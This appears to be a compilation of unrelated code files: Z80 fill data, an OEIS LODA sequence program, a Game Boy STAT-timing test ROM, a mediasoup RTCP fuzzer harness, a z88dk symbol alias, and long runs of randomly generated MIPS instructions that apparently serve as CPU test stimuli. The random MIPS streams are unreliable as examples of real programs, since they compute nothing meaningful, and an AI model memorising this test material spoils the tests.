DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
DEFB $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF;
|
; A296211: a(n) = 1 if sigma(n)-1 is a prime, 0 otherwise.
; 0,1,1,0,1,1,1,0,0,1,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1,1,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,1,0,0,1,1,0,0,0
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
trn $0,2
seq $0,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld a, ff
ldff(45), a
ld b, 91
call lwaitly_b
ld hl, fe00
ld d, 10
ld a, d
ld(hl++), a
ld a, 08
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld(hl++), a
inc l
inc l
ld(hl++), a
ld a, 18
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 20
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 28
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 30
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 38
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 40
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 48
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 5a
ld(hl++), a
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld a, 01
ldff(45), a
ld c, 41
ld a, 93
ldff(40), a
.text@1000
lstatint:
nop
.text@10a9
ldff a, (c)
and a, 03
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
#include "RTC/RTCP/FuzzerFeedbackPsSli.hpp"
void Fuzzer::RTC::RTCP::FeedbackPsSli::Fuzz(::RTC::RTCP::FeedbackPsSliPacket* packet)
{
packet->Dump();
packet->Serialize(::RTC::RTCP::Buffer);
packet->GetCount();
packet->GetSize();
// TODO.
// AddItem(Item* item);
auto it = packet->Begin();
for (; it != packet->End(); ++it)
{
auto& item = (*it);
item->Dump();
item->Serialize(::RTC::RTCP::Buffer);
item->GetSize();
item->GetFirst();
item->SetFirst(1111);
item->GetNumber();
item->SetNumber(2222);
item->GetPictureId();
item->SetPictureId(255);
}
}
|
ori $ra,$ra,0xf
sll $4,$5,11
mflo $5
mthi $6
lui $4,46731
lb $5,14($0)
mflo $4
addu $5,$4,$4
lui $6,37633
sb $5,4($0)
sb $4,10($0)
sll $4,$1,24
mflo $1
srav $5,$0,$0
addiu $6,$2,27110
div $2,$ra
divu $5,$ra
mtlo $4
ori $0,$4,37968
div $5,$ra
lb $6,3($0)
div $2,$ra
mfhi $6
sb $1,3($0)
ori $1,$0,57068
addiu $1,$6,-3360
lb $5,12($0)
lb $4,1($0)
sb $4,8($0)
div $0,$ra
mtlo $5
lb $3,9($0)
mfhi $0
srav $1,$2,$1
mult $6,$6
mfhi $4
sb $4,5($0)
lb $3,0($0)
mfhi $1
mthi $5
mflo $1
mflo $2
mfhi $2
lui $6,50121
mflo $1
sll $4,$4,25
mtlo $4
mthi $5
mthi $4
divu $5,$ra
mult $3,$4
lui $3,50847
mthi $0
ori $4,$4,51440
divu $1,$ra
divu $4,$ra
lb $5,6($0)
sll $5,$6,25
lui $0,54845
srav $2,$2,$2
ori $4,$2,22335
lui $4,37224
divu $1,$ra
mthi $2
sll $4,$4,10
lb $3,16($0)
mflo $2
srav $1,$1,$4
lui $2,1534
mthi $2
div $4,$ra
srav $4,$2,$4
mtlo $4
divu $5,$ra
div $6,$ra
lb $1,0($0)
addu $1,$2,$3
mflo $5
sb $4,7($0)
lb $1,3($0)
sll $2,$0,23
addu $4,$1,$0
multu $5,$2
lui $1,12233
mflo $5
addu $6,$6,$6
mflo $5
mflo $4
sb $0,16($0)
sb $1,15($0)
div $4,$ra
sb $1,10($0)
mtlo $3
mtlo $4
ori $4,$2,46382
ori $4,$1,53363
mthi $1
mult $4,$4
sll $6,$1,3
div $2,$ra
sll $4,$4,4
addu $4,$4,$2
mtlo $4
mfhi $2
mthi $0
sll $1,$1,4
divu $5,$ra
sll $6,$3,6
mtlo $1
sb $0,10($0)
sb $4,5($0)
lb $1,8($0)
mflo $5
sb $0,0($0)
mfhi $3
mthi $4
lb $1,6($0)
lui $4,47095
divu $1,$ra
lb $4,8($0)
mtlo $5
mtlo $2
mult $0,$0
lui $5,52494
sb $1,4($0)
mfhi $0
sll $4,$4,18
addiu $4,$1,-9038
lui $2,8243
lui $4,52750
lb $4,6($0)
lb $6,15($0)
lb $5,8($0)
mfhi $2
divu $2,$ra
sb $1,14($0)
divu $5,$ra
lui $0,41007
mfhi $5
srav $4,$2,$3
mflo $3
div $6,$ra
addiu $3,$3,-25234
mfhi $4
mthi $4
mthi $6
sll $5,$4,11
addu $5,$5,$1
div $4,$ra
mult $5,$5
lb $1,14($0)
mtlo $5
divu $6,$ra
divu $4,$ra
addu $4,$4,$4
div $3,$ra
mthi $4
sll $2,$4,7
ori $4,$4,34361
mult $4,$2
mthi $5
mthi $5
div $5,$ra
divu $4,$ra
divu $5,$ra
sb $5,4($0)
mflo $4
mfhi $4
lui $1,60023
multu $1,$5
multu $3,$3
mflo $6
mtlo $5
mflo $5
mult $6,$6
div $1,$ra
addu $2,$2,$4
addiu $1,$4,25711
ori $3,$5,55566
divu $1,$ra
div $6,$ra
mult $5,$6
mthi $5
div $5,$ra
addiu $0,$0,-17474
mfhi $3
multu $6,$3
mfhi $4
mthi $4
mfhi $1
addu $5,$4,$1
addu $1,$2,$4
lui $6,43544
ori $3,$3,63117
addu $6,$5,$1
mtlo $2
sb $5,11($0)
div $5,$ra
div $2,$ra
divu $0,$ra
sb $0,3($0)
mult $5,$5
mfhi $3
addu $5,$6,$1
addiu $2,$2,-22329
sb $3,11($0)
multu $4,$5
sll $6,$2,9
lui $1,24870
mfhi $3
addiu $4,$3,8443
mflo $4
addiu $4,$4,-24437
mtlo $2
mult $2,$2
mult $0,$0
lui $2,28156
div $5,$ra
multu $0,$6
mflo $5
mflo $4
lb $3,12($0)
sll $0,$0,0
lui $5,19738
lui $4,15360
lb $4,9($0)
lb $4,4($0)
mfhi $1
addiu $1,$0,-16208
multu $4,$3
mfhi $2
div $2,$ra
ori $5,$1,36936
mfhi $1
ori $3,$1,28975
mfhi $3
mtlo $5
sb $5,4($0)
ori $0,$2,65241
addu $4,$4,$4
mthi $4
lui $5,8851
sb $2,1($0)
ori $4,$5,59114
mtlo $5
mflo $4
addiu $4,$4,4302
ori $4,$4,34133
div $3,$ra
divu $1,$ra
mflo $4
multu $5,$6
srav $4,$4,$4
mult $4,$4
addu $4,$1,$0
addiu $3,$3,6764
multu $5,$4
mfhi $2
addiu $4,$2,-19055
mthi $4
mthi $5
mtlo $5
mult $4,$4
mflo $6
mfhi $6
addu $5,$4,$0
lb $4,10($0)
addu $4,$4,$4
lb $6,3($0)
div $4,$ra
divu $0,$ra
multu $1,$2
div $1,$ra
addu $3,$0,$3
lb $3,7($0)
mthi $5
mthi $4
lb $1,15($0)
mult $4,$1
srav $1,$1,$1
addiu $4,$6,31653
div $4,$ra
addu $4,$2,$2
mult $5,$1
multu $0,$2
addu $5,$0,$0
sll $2,$2,11
sb $6,6($0)
addu $6,$4,$4
addu $4,$4,$4
mthi $4
divu $6,$ra
addu $5,$5,$2
mthi $3
lb $5,10($0)
srav $5,$5,$4
mfhi $5
lui $4,29146
mfhi $1
divu $0,$ra
lui $2,19564
mflo $5
div $2,$ra
lb $6,10($0)
lb $4,3($0)
lb $5,3($0)
lb $4,5($0)
div $4,$ra
sb $4,16($0)
divu $1,$ra
lui $1,18742
sb $0,15($0)
mult $6,$2
mult $2,$5
lui $0,53742
mflo $0
mult $4,$4
sb $0,16($0)
ori $5,$0,26099
mfhi $0
lui $5,51179
multu $6,$4
mthi $2
sll $6,$5,29
addu $4,$4,$4
divu $1,$ra
mfhi $4
divu $1,$ra
sb $0,14($0)
div $3,$ra
mult $3,$3
divu $6,$ra
mthi $4
div $4,$ra
mult $1,$4
mtlo $6
mflo $1
mtlo $4
mflo $3
divu $6,$ra
mult $4,$2
mtlo $6
mtlo $5
divu $4,$ra
sb $5,6($0)
div $3,$ra
addiu $0,$2,-2855
mflo $4
sb $2,8($0)
lb $5,11($0)
mflo $0
div $5,$ra
divu $4,$ra
lb $4,2($0)
srav $6,$4,$2
sb $0,4($0)
sb $6,3($0)
ori $2,$2,14228
addiu $5,$1,-10165
mult $6,$6
addiu $5,$2,-9220
mthi $6
ori $1,$1,55261
addu $0,$5,$1
divu $3,$ra
mflo $4
lui $5,15890
mthi $2
mfhi $5
lb $5,0($0)
mflo $5
divu $0,$ra
multu $4,$2
lb $3,9($0)
ori $4,$5,16298
mtlo $5
multu $5,$2
addu $4,$4,$3
mflo $4
multu $6,$6
srav $3,$1,$3
addu $1,$1,$1
mult $0,$0
lb $5,8($0)
srav $4,$4,$2
divu $0,$ra
mult $6,$2
sll $1,$2,5
mult $4,$3
mfhi $5
divu $3,$ra
addiu $3,$4,-15385
mtlo $5
mthi $5
lb $4,1($0)
lui $5,38835
addiu $4,$1,15606
srav $3,$4,$3
sll $4,$2,31
mtlo $5
div $6,$ra
srav $1,$1,$1
sll $4,$4,29
addiu $1,$1,-5687
sb $1,7($0)
mfhi $4
multu $1,$1
multu $0,$4
mfhi $4
divu $4,$ra
mflo $4
lui $2,28185
sll $5,$5,10
addiu $5,$5,-30647
addu $2,$2,$5
addu $1,$1,$4
div $4,$ra
mult $1,$4
mult $4,$4
mult $6,$2
div $2,$ra
ori $4,$0,47585
sb $5,1($0)
addu $0,$1,$1
div $2,$ra
sll $4,$1,19
mtlo $2
divu $5,$ra
lb $1,2($0)
lui $5,14479
lb $5,5($0)
mfhi $5
mthi $4
addu $0,$2,$5
ori $2,$2,23465
mthi $5
lui $4,39857
multu $4,$5
sb $1,8($0)
mtlo $1
lui $2,27456
mflo $4
mtlo $5
mthi $5
div $2,$ra
mthi $1
lui $4,61330
mult $4,$2
mtlo $2
lui $1,51891
mflo $4
divu $5,$ra
mult $1,$5
divu $0,$ra
sll $4,$5,12
mult $4,$4
srav $6,$4,$4
div $2,$ra
div $4,$ra
sll $4,$1,5
addiu $4,$2,21550
srav $5,$2,$2
mflo $4
addu $4,$4,$6
mtlo $2
mtlo $1
multu $5,$1
divu $1,$ra
multu $4,$4
mfhi $3
mthi $0
sb $6,11($0)
lb $5,9($0)
addiu $2,$4,15114
mtlo $2
mthi $4
lui $5,20224
divu $1,$ra
addiu $1,$1,-28529
addiu $4,$2,-17167
sll $1,$4,25
divu $2,$ra
ori $3,$6,9709
addu $5,$5,$5
addiu $3,$5,21848
lb $4,15($0)
sll $6,$4,10
lb $6,8($0)
divu $5,$ra
lb $4,10($0)
multu $4,$5
div $1,$ra
mflo $4
sb $5,16($0)
ori $6,$2,6983
ori $1,$1,37900
addu $4,$5,$4
sb $1,5($0)
div $4,$ra
sb $4,12($0)
ori $0,$4,24172
mult $4,$4
mult $4,$2
sll $0,$0,9
sb $2,13($0)
div $4,$ra
addu $6,$1,$2
div $2,$ra
lb $5,12($0)
mult $6,$2
srav $6,$6,$6
mfhi $0
divu $5,$ra
addiu $4,$6,-25355
mthi $1
lb $2,2($0)
addiu $5,$1,16302
mult $4,$1
srav $5,$5,$2
mult $1,$5
mflo $1
div $4,$ra
addu $4,$4,$4
div $6,$ra
mult $1,$4
divu $5,$ra
addu $5,$1,$5
mthi $5
multu $0,$5
mtlo $5
div $4,$ra
mtlo $0
sll $5,$2,28
mtlo $5
sb $0,16($0)
srav $5,$1,$2
sll $5,$2,25
mfhi $4
lb $0,15($0)
addu $3,$1,$3
sb $4,11($0)
lb $1,0($0)
mfhi $1
multu $3,$5
ori $4,$1,36462
lui $2,19824
ori $1,$1,54772
srav $0,$3,$3
lui $4,7174
ori $6,$4,29074
sll $4,$4,26
lb $5,5($0)
addu $0,$1,$0
mult $2,$2
mult $1,$6
addu $1,$6,$1
ori $1,$0,2058
mfhi $3
mflo $4
sll $2,$2,29
lb $3,11($0)
lui $4,60606
sb $5,16($0)
lui $4,46149
lb $4,0($0)
addiu $1,$4,-23989
multu $5,$5
lui $4,896
mthi $0
mult $6,$3
multu $4,$4
addu $5,$1,$1
sll $4,$2,10
addu $4,$6,$3
multu $6,$5
lb $5,16($0)
divu $1,$ra
ori $5,$2,13500
ori $4,$4,4254
addiu $6,$1,-11440
mult $5,$5
addu $0,$0,$4
mult $1,$2
mult $1,$1
lb $4,15($0)
mfhi $2
div $5,$ra
ori $4,$4,29407
div $4,$ra
div $1,$ra
sll $1,$6,5
div $4,$ra
lui $4,64080
addiu $1,$1,-15392
mfhi $6
addu $5,$2,$3
mtlo $1
srav $5,$6,$6
lui $4,34037
addiu $1,$1,-15460
mflo $4
lui $5,43176
ori $5,$5,50203
mflo $2
addiu $4,$4,-15573
sb $5,0($0)
sb $2,2($0)
lb $4,13($0)
mflo $6
addu $1,$1,$1
addu $5,$2,$3
mtlo $0
mflo $4
mthi $5
sb $0,15($0)
div $4,$ra
mflo $5
mflo $4
sb $1,9($0)
mthi $5
mflo $4
sb $4,8($0)
addiu $2,$2,14168
mfhi $4
mthi $5
mflo $1
sll $4,$2,16
ori $0,$0,24457
sll $4,$4,27
mthi $1
divu $0,$ra
divu $1,$ra
mtlo $6
addiu $4,$1,-25494
mtlo $4
sb $5,2($0)
mthi $0
div $2,$ra
addiu $4,$3,-28012
addu $1,$2,$1
lui $2,15128
mult $0,$3
mflo $5
sll $2,$2,18
sb $1,7($0)
divu $1,$ra
multu $4,$0
multu $4,$4
lb $6,12($0)
mtlo $0
multu $1,$1
mthi $6
lui $2,52199
mfhi $3
sb $4,6($0)
addiu $5,$6,-28742
divu $1,$ra
ori $2,$2,55289
addu $5,$4,$5
srav $1,$1,$3
sb $1,2($0)
div $5,$ra
addu $5,$5,$5
mtlo $4
lui $6,59884
lb $4,3($0)
sll $4,$4,7
mfhi $6
lui $3,14679
mtlo $0
sll $6,$2,4
multu $5,$1
mult $5,$2
lui $0,31530
addiu $1,$4,22429
lb $1,0($0)
lb $3,10($0)
mtlo $1
mtlo $2
mult $1,$4
sb $5,16($0)
addu $4,$3,$3
mult $5,$2
mfhi $4
addu $6,$4,$0
mtlo $1
div $4,$ra
addu $3,$5,$3
mtlo $4
mflo $4
srav $5,$2,$4
mflo $5
sll $5,$4,10
div $0,$ra
sll $4,$2,8
ori $4,$4,4703
addu $4,$4,$6
addiu $1,$4,-27397
mthi $4
lui $5,29719
sll $1,$0,11
sb $4,9($0)
mult $3,$4
srav $2,$2,$2
mtlo $4
multu $4,$2
addiu $1,$2,27606
divu $1,$ra
lb $0,8($0)
mult $4,$4
mult $4,$4
mtlo $4
sll $5,$5,19
addu $1,$5,$0
mult $6,$1
mult $6,$6
addu $4,$2,$6
srav $5,$6,$2
addu $1,$0,$2
sb $4,1($0)
divu $4,$ra
multu $4,$5
ori $1,$3,5005
div $5,$ra
addiu $4,$1,10891
mtlo $4
sll $5,$4,24
ori $4,$5,9619
lb $0,8($0)
div $4,$ra
sll $4,$4,12
srav $2,$4,$2
mult $4,$4
multu $2,$2
mfhi $3
div $2,$ra
lb $2,7($0)
mfhi $4
div $5,$ra
divu $5,$ra
mthi $4
lui $1,63637
srav $2,$2,$2
lb $2,11($0)
mtlo $1
sll $4,$4,11
sll $1,$2,28
mfhi $6
lb $5,1($0)
mult $3,$3
sb $4,2($0)
srav $6,$2,$6
mfhi $4
mthi $0
mfhi $1
lb $1,1($0)
srav $3,$5,$3
mfhi $1
sb $0,1($0)
addiu $4,$4,-9752
mthi $1
divu $3,$ra
addiu $0,$4,-5048
addiu $4,$1,26576
mfhi $4
addu $4,$4,$4
addiu $4,$5,-9494
addiu $5,$6,-22233
divu $4,$ra
lui $2,12002
lb $1,9($0)
mult $3,$6
mthi $5
div $1,$ra
mult $6,$6
mtlo $4
ori $1,$5,15042
sll $1,$3,4
divu $5,$ra
mflo $5
srav $4,$5,$5
mult $2,$2
lui $4,41967
div $2,$ra
addiu $1,$2,-29820
mfhi $0
div $1,$ra
mult $5,$5
sll $6,$4,24
multu $5,$2
multu $1,$1
sb $6,8($0)
mfhi $0
lui $5,19917
multu $4,$1
mfhi $5
mfhi $4
multu $1,$5
sb $1,5($0)
mflo $5
div $4,$ra
multu $5,$5
ori $4,$0,30635
addu $1,$1,$1
mtlo $0
addiu $2,$4,21341
mult $4,$6
divu $4,$ra
mult $1,$6
mfhi $6
sll $2,$6,25
div $1,$ra
mflo $5
srav $2,$2,$2
mfhi $1
addu $4,$0,$6
mfhi $4
ori $4,$4,60667
multu $3,$3
lui $5,27530
mfhi $4
divu $0,$ra
sb $1,15($0)
lb $5,3($0)
mthi $5
mfhi $4
mfhi $5
div $1,$ra
mflo $5
sb $1,9($0)
mthi $5
sb $4,10($0)
addiu $6,$5,2456
ori $4,$4,8780
lui $3,49558
divu $4,$ra
lb $2,14($0)
ori $5,$6,52109
mfhi $1
sll $4,$2,31
mult $4,$0
lb $5,7($0)
multu $5,$4
lui $3,52234
mtlo $1
addiu $6,$6,12448
mfhi $4
mult $4,$0
ori $4,$4,19809
addu $1,$2,$4
sb $5,3($0)
mtlo $5
divu $3,$ra
addiu $1,$1,-23738
mult $1,$1
addu $1,$1,$4
addiu $6,$1,-12323
addu $0,$4,$3
mflo $0
addiu $5,$6,27025
mfhi $5
addu $1,$4,$4
multu $5,$5
div $5,$ra
sb $3,5($0)
addu $4,$4,$1
divu $5,$ra
srav $4,$0,$6
mtlo $5
mult $5,$2
mthi $3
multu $4,$0
multu $6,$6
sb $2,4($0)
ori $5,$0,58786
lui $1,6700
mthi $4
lui $5,17916
div $1,$ra
srav $1,$2,$4
lb $6,10($0)
sll $5,$2,11
lui $5,7314
lb $6,6($0)
lui $4,3776
mthi $4
mult $5,$4
mfhi $3
sll $6,$0,21
|
SECTION code_fp_math48
PUBLIC remquo
EXTERN cm48_sccz80_remquo
defc remquo = cm48_sccz80_remquo
|
ori $ra,$ra,0xf
div $5,$ra
mult $2,$5
mthi $0
addiu $6,$1,20965
addu $3,$1,$3
mflo $4
lui $5,73
lb $2,3($0)
mflo $2
mfhi $4
mthi $5
divu $0,$ra
mfhi $1
sb $1,13($0)
mult $5,$5
multu $4,$4
divu $2,$ra
mfhi $6
lb $2,0($0)
sb $0,6($0)
sb $4,11($0)
divu $1,$ra
lui $1,44076
mtlo $5
multu $6,$1
multu $5,$2
mfhi $1
addiu $3,$5,-7057
mflo $4
lui $5,30933
mflo $1
ori $5,$0,41249
mult $2,$2
sll $4,$1,2
lb $1,7($0)
mfhi $4
sll $6,$5,9
lui $2,13066
mtlo $0
lb $4,7($0)
mflo $1
multu $6,$5
addu $1,$1,$3
sll $0,$2,3
sb $4,9($0)
sb $5,7($0)
mtlo $2
addiu $1,$5,-11238
div $2,$ra
lui $2,45210
lui $6,42026
divu $5,$ra
sb $2,2($0)
multu $4,$1
lui $1,18739
sb $4,5($0)
mult $2,$2
sb $5,5($0)
sb $0,8($0)
sll $1,$4,18
sll $3,$3,0
mthi $4
multu $1,$2
lui $5,61240
mthi $4
mfhi $6
sb $4,13($0)
mflo $1
mtlo $0
multu $3,$6
ori $5,$4,44321
srav $5,$1,$3
multu $2,$2
ori $5,$5,42820
mflo $1
ori $4,$4,64178
multu $5,$3
mtlo $6
multu $1,$1
div $0,$ra
mthi $2
div $0,$ra
multu $0,$0
div $4,$ra
lui $1,18836
sll $0,$0,26
addu $4,$4,$3
divu $4,$ra
mfhi $4
addu $2,$2,$4
addiu $2,$2,13931
mfhi $5
multu $5,$1
mflo $3
mflo $1
srav $6,$0,$6
lui $2,18323
mthi $0
ori $4,$1,65012
sll $1,$4,23
sll $0,$1,19
div $6,$ra
ori $1,$0,56403
addiu $1,$1,-21001
mthi $1
sb $5,5($0)
divu $5,$ra
addu $1,$4,$5
div $1,$ra
ori $4,$6,56404
ori $5,$4,44994
mflo $0
mthi $4
addu $5,$4,$4
divu $1,$ra
addu $2,$4,$2
ori $3,$2,17569
mtlo $1
lui $6,51255
lb $5,14($0)
lb $4,6($0)
sll $5,$1,10
sb $4,13($0)
div $3,$ra
sb $5,2($0)
addu $0,$0,$0
mthi $4
srav $5,$5,$5
lb $3,11($0)
mflo $3
addu $1,$4,$1
addu $4,$1,$6
sll $6,$6,18
lb $5,8($0)
mfhi $2
multu $4,$4
sb $3,1($0)
mtlo $0
sb $4,14($0)
divu $1,$ra
lb $4,12($0)
sb $1,16($0)
srav $4,$4,$4
sb $4,10($0)
lb $4,15($0)
mtlo $3
addu $3,$3,$3
srav $5,$5,$5
divu $6,$ra
ori $1,$4,36632
divu $0,$ra
lui $5,49039
div $3,$ra
lui $6,47066
mult $5,$1
div $4,$ra
div $6,$ra
multu $6,$5
mult $0,$6
div $5,$ra
mult $2,$2
mfhi $4
mfhi $4
srav $0,$2,$0
mtlo $4
multu $0,$2
lb $4,5($0)
ori $5,$0,32036
addiu $1,$1,-4047
mfhi $2
sll $1,$1,20
mthi $5
sll $5,$4,20
ori $3,$6,19263
lb $1,14($0)
lb $4,1($0)
addiu $6,$6,-2772
lui $4,64902
mthi $2
lb $1,4($0)
mult $0,$3
mult $4,$2
mthi $4
addu $5,$6,$2
addiu $1,$2,-3363
mult $4,$1
lb $6,9($0)
sb $2,2($0)
div $0,$ra
srav $1,$5,$6
divu $5,$ra
mfhi $5
mult $2,$4
lui $1,14490
mult $2,$2
divu $1,$ra
srav $4,$5,$2
sll $3,$4,13
mtlo $1
mfhi $0
mflo $4
mflo $3
mflo $3
lui $1,56224
divu $3,$ra
mult $2,$2
multu $4,$4
div $4,$ra
divu $5,$ra
div $2,$ra
lb $0,15($0)
mult $5,$0
mtlo $0
mult $4,$4
mfhi $4
addiu $4,$2,24989
mfhi $4
addiu $6,$2,-16040
mtlo $6
ori $5,$2,58092
lb $6,6($0)
srav $1,$1,$1
srav $3,$0,$3
srav $3,$4,$3
multu $1,$1
ori $2,$2,37214
lb $4,6($0)
div $5,$ra
divu $0,$ra
mult $6,$5
mfhi $4
mtlo $5
mthi $4
addiu $1,$6,6989
div $0,$ra
lb $6,1($0)
srav $4,$0,$6
div $5,$ra
lui $2,44369
mfhi $5
mfhi $5
multu $0,$0
srav $5,$5,$2
mthi $4
ori $4,$4,39850
divu $2,$ra
lui $4,11099
multu $2,$2
multu $0,$2
divu $0,$ra
mthi $5
mthi $3
mult $4,$2
sb $6,12($0)
lb $3,16($0)
addu $3,$3,$3
div $5,$ra
mult $1,$5
sb $4,2($0)
addu $1,$1,$1
addu $0,$5,$6
sll $1,$5,30
mflo $4
srav $2,$2,$2
mthi $0
div $6,$ra
mult $4,$4
addiu $3,$3,-13458
addu $2,$1,$2
divu $1,$ra
sll $3,$3,12
divu $6,$ra
mthi $6
srav $4,$3,$3
addu $5,$2,$5
sb $5,0($0)
divu $1,$ra
mflo $5
mfhi $4
mtlo $5
multu $2,$2
addiu $1,$1,-19723
sll $4,$5,19
mult $1,$1
sb $1,7($0)
mthi $2
mult $1,$2
lb $4,8($0)
addiu $5,$5,9812
sll $1,$3,16
mfhi $4
sb $4,2($0)
lui $1,24666
ori $5,$2,14512
divu $6,$ra
addu $4,$4,$2
sb $1,0($0)
multu $4,$5
addiu $5,$0,4780
divu $1,$ra
div $4,$ra
lui $4,35288
lb $1,8($0)
multu $5,$5
divu $1,$ra
mtlo $4
mult $2,$2
addiu $2,$2,30622
mflo $5
multu $4,$3
sll $4,$4,4
